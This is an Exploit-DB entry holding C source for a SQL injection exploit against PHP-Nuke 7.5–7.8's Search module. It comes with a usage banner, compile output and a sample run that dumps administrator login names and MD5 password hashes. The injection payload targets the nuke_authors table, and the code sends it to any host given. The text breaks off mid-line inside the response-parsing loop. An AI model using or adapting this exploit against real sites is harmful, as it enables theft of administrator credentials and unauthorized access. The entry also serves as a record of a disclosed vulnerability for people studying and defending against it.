Exploit-DB #1523
Description: PHP-Nuke 7.5 < 7.8 - 'Search' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-23
Author: unitedbr

Exploit:
/*
                  ____   ____    __
|    |     |     |    | |    |  /
|    |     |     |    | |___/   \
|    | --- |     |----| |   \    \
|____|     |____ |    | |____| __/

Copyright (C) 2006 Untruth Labs

Critical sql injection in phpNuke 7.5-7.8 Exploit
coded by unitedbr

greetz: paulin, barros, xgc

found by Janek Vind "waraxe"
Original advisory: http://www.waraxe.us/advisory-46.html

-------------------------------------------------------------------------------

compiled in VC++

C:\@Pastinha\Area_de_Testes\cpp\phpnuke75to78>cl phpnuke75to78.cpp
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

phpnuke75to78.cpp
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:phpnuke75to78.exe
phpnuke75to78.obj

C:\@Pastinha\Area_de_Testes\cpp\phpnuke75to78>

-------------------------------------------------------------------------------

Exploit:

C:\@Pastinha\Area_de_Testes\cpp\phpnuke75to78>phpnuke75to78 127.0.0.1 /phpnuke75to78/
                  ____   ____    __
|    |     |     |    | |    |  /
|    |     |     |    | |___/   \
|    | --- |     |----| |   \    \
|____|     |____ |    | |____| __/


[~] Sending sql injection...
[~] Connected and exploiting...
[~] Trying to get the md5 passwords...


--[ md5 hash passwords

login: unitedbr
md5 [CREDENTIAL_REDACTED]

login: psy0x
md5 [CREDENTIAL_REDACTED]

login: paulin
md5 [CREDENTIAL_REDACTED]

login: poerschke
md5 [CREDENTIAL_REDACTED]

login: uNfz
md5 [CREDENTIAL_REDACTED]

login: Coloss
md5 [CREDENTIAL_REDACTED]

login: skotch
md5 [CREDENTIAL_REDACTED]

C:\@Pastinha\Area_de_Testes\cpp\phpnuke75to78>


*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>

#define PORT 80
#define BUFLEN 10000
#define DATA "query=p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*" // */ */
#define U "                  ____   ____    __ \n"
#define L "|    |     |     |    | |    |  /   \n"
#define A "|    |     |     |    | |___/   \\   \n"
#define B "|    | --- |     |----| |   \\    \\ \n"
#define S "|____|     |____ |    | |____| __/  \n\n"

void usage(char *argv[]);
void sqlinj(char *host, char *dir);
char *md5pass(char *buffer, char *s, bool test);

int main(int argc, char *argv[])
{   
     if( argc != 3 )
     {
         usage(argv);
         exit(EXIT_FAILURE);
     }
     
     printf(U L A B S);
     printf("\n");
     printf("[~] Sending sql injection...\n");
     sqlinj(argv[1], argv[2]);
    
     return 0;
}

void usage(char *argv[])
{
     printf("\n##############################################\n");
     printf("#                                            #\n");
     printf("#             [ Untruth Labs ]               #\n");
     printf("#                                            #\n");
     printf("#                 presents                   #\n");
     printf("#                                            #\n");
     printf("#     PHP-Nuke 7.5 to 7.8 sql injection      #\n");
     printf("#                                            #\n");
     printf("#                          coded by unitedbr #\n");
     printf("##############################################\n\n");
     printf("Usage:\n"
            "%s [target] [dir]\n\n"
            "Example:\n"
            "%s www.target.com /dir/\n"
            "%s www.target.com /\n", argv[0], argv[0], argv[0]);

     exit(EXIT_SUCCESS);
}

void sqlinj(char *host, char *dir)
{
     char buffer[BUFLEN];
     sprintf( buffer, "POST %smodules.php?name=Search HTTP/1.0\n"
                      "Host: %s\n"
                      "Content-Type: application/x-www-form-urlencoded\n"
                      "Content-Length: %d\n\n%s\n\n\n", dir, host, strlen(DATA), DATA);
     
     WSADATA wsaData;
    
     /* Winsock start up */
     int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
     if ( iResult != NO_ERROR )
     {
          printf("\n[-] Error at WSAStartup()\n");
          exit(EXIT_FAILURE);
     }
     
     /* Create socket */
     SOCKET my_sock;
     my_sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
    
     if( my_sock == INVALID_SOCKET )
     {
         printf("\n[-] Error creating socket: %ld\n", WSAGetLastError() );
         WSACleanup();
         exit(EXIT_FAILURE);
     }
    
     struct hostent *he;
     struct sockaddr_in addr;
    
     /* getting the ip address */
     he = gethostbyname(host);
     if( he == NULL )
     {
         printf("\n[-] Can't resolve ip address \"%s\"\n", host);
         exit(EXIT_FAILURE);
     }
    
     memset(&addr, 0, sizeof(addr));
     memcpy((char*)&addr.sin_addr, he->h_addr, he->h_length);
     addr.sin_family = AF_INET;
     addr.sin_port = htons(PORT);
    
     /* connecting */
     if( connect(my_sock, (struct sockaddr *)&addr, sizeof(addr)) < 0)
     {
          printf("\n[-] Can't connect to %s\n", host);
          WSACleanup();
          exit(EXIT_FAILURE);
     }
     
     printf("[~] Connected and exploiting...\n");
     
     if( send(my_sock, buffer, sizeof(buffer), 0) < 0 )
     {
          printf("\n[-] Can't send socket...\n");
          exit(EXIT_FAILURE);
     }
     
     memset(buffer,0, sizeof(buffer));
     
     char *s = NULL;
     bool test = false, onetime = true;
     
     printf("[~] Trying to get the md5 passwords...\n\n");

     while( recv(my_sock, buffer, sizeof(buffer), 0) )
     {
         while( (s = strstr(buffer, "article&sid=1\"><b>")) != NULL )
         {
             test = true;
             s = md5p